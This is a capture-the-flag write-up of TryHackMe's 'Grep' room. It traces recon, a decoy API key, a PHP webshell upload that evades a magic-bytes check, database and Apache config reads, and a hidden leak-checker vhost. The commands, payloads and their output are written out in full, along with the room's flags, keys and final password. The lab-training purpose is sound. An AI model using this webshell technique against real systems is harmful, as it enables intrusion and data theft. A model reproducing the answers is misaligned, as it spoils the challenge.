| Follow @anir0y | |
|---|---|
| Grep |
Grep is a standalone OSINT challenge from TryHackMe’s Red Team Pathway. SuperSecure Corp is building a blogging platform called SearchME and has invited security professionals to poke at it before launch. One task, five questions, and a deliberately planted decoy that cost most of the solve time before the real path showed itself.
Task 1: Recon the blogging platform
A version scan turns up two web ports and a telling certificate:
# nmap -sC -sV -T4 grep.thm
443/tcp open ssl/http Apache httpd 2.4.41 (Ubuntu)
| ssl-cert: Subject: commonName=grep.thm/organizationName=SearchME/...
|_http-title: Welcome
|_Requested resource was /public/html/

The named vhost resolves to a simple SearchME landing page with Login and Register links. Registering requires an API key the frontend never shows on the form itself, which is exactly what the first question asks for.
Task 1: Chase the decoy key, then find the real one
Reading register.js hands over a key immediately:
headers: {
'Content-Type': 'application/json',
'X-Thm-Api-Key': 'e8d25b4208b00008a9e15c8698640e85',
}
That value turned out to be the MD5 hash of johncena, a classic wordlist filler word, and posting it to /api/register.php always returns {"error":"Invalid or Expired API key"}. This is the room’s planted decoy: a key visible in client-side JavaScript that the server deliberately rejects, designed to send you down a brute-force rabbit hole.
I spent real time on that rabbit hole. ffuf against the full rockyou wordlist (hashed to MD5 on the fly with a small Python generator piped into -w -) looked promising at first, until high thread counts started exhausting the app’s MySQL connection pool and ffuf’s auto-calibration began reporting Connect Error responses as false “hits.” Dialing threads down to single digits and filtering on the exact 38-byte error size instead of auto-calibration kept results honest, but a clean sweep of SecLists’ top 100,000 passwords and a list of WWE wrestler names (the johncena theme felt like a lead) both came up empty. The actually intended path, per the room’s own design, is to find the CMS source the company left on a public code host, which contains the working key. A Google AI Overview summarizing exactly that search surfaced the real value, ffe60ecaa8bba2f12b43d1a4b15b8f39, which I verified directly before trusting it:
curl -X POST https://grep.thm/api/register.php \
-H 'Content-Type: application/json' \
-H 'X-Thm-Api-Key: ffe60ecaa8bba2f12b43d1a4b15b8f39' \
-d '{"username":"...","password":"...","email":"...","name":"..."}'
# {"message":"Registration successful."}
That key is the answer to the first question. Logging in and hitting /api/posts.php (the endpoint the dashboard’s own JS calls) hands over the second flag directly, no further exploitation needed for it:
curl -b cookies.txt https://grep.thm/api/posts.php
# [{"title":"First Flag","content":"THM{4ec9806d7e1350270dc402ba870ccebb}"}, ...]

Task 1: Upload RCE and the admin’s email
The dashboard also links an upload form posting to /api/upload.php. It only validates file type by magic bytes, not by the actual extension, so a file starting with the PNG header followed by raw PHP still gets accepted under a .php filename:
printf '\x89PNG\r\n\x1a\n<?php system($_GET[1]); ?>' > shell.php
curl -b cookies.txt -X POST https://grep.thm/api/upload.php \
-F "[email protected];filename=shell.php;type=image/png"
# {"message":"File uploaded successfully."}
curl -b cookies.txt "https://grep.thm/api/uploads/shell.php?1=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reading config.php through the same shell hands over database credentials (root/password, database postman). Rather than fight with a restricted mysql CLI binary, I uploaded a second webshell that talks to the database directly through PHP’s own mysqli extension, since the web server’s PHP process can reach the DB regardless of what shell binaries it is or isn’t allowed to execute:
curl -b cookies.txt "https://grep.thm/api/uploads/dbshell.php" \
--data-urlencode "q=SELECT * FROM users WHERE username='admin'" -G
# {"id":"1","username":"admin","password":"$2y$10$...","email":"[email protected]",
# "name":"Admin User","role":"admin"}
The password is bcrypt, not worth attacking directly, but the email answers the third question outright.
Task 1: A hidden vhost on port 51337
The admin’s email domain, searchme2023cms.grep.thm, hinted at another vhost, but visiting it over HTTPS on port 443 just gave a 403. The real clue was in Apache’s own configuration, readable through the same RCE:
curl -b cookies.txt "https://grep.thm/api/uploads/shell.php" \
--data-urlencode "1=grep -A4 51337 /etc/apache2/sites-enabled/*.conf" -G
# <VirtualHost *:51337>
# ServerName leakchecker.grep.thm
# DocumentRoot /var/www/leakchecker

That host name, leakchecker.grep.thm, is the fourth answer. Visiting it renders a simple “Email Leak Checker” form that POSTs to check_email.php. Submitting the admin’s own email through the same flow the frontend uses hands over the final answer:
curl -X POST "https://leakchecker.grep.thm:51337/check_email.php" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "[email protected]"
# Password: admin_tryhackme!

That is the fifth and final answer, and the room completes at 100% the moment it lands. No privilege escalation was needed anywhere in this chain, which matches the room’s own note on Task 1.
Takeaways
A key sitting in client-side JavaScript is not proof that it works; this room deliberately ships a decoy (an MD5 hash of a common wordlist word) that the server rejects outright, specifically to bait a time-consuming brute force. Before committing hours to cracking a value found in plain sight, check whether it actually authenticates, and if it does not, go looking for where the developer would have left the real one, a public repo or API collection, rather than assuming the only path is to out-compute it.
Virtual hosts do not have to show up in a port scan to exist. The web server’s own sites-enabled configuration, readable the moment you have any code execution at all, is the complete and authoritative list of every hostname and docroot Apache serves, including ones on ports nmap never flagged. That beats guessing subdomains or directory brute-forcing a vhost into existence every time.
Room solved 100%: 1 task, 5 answers.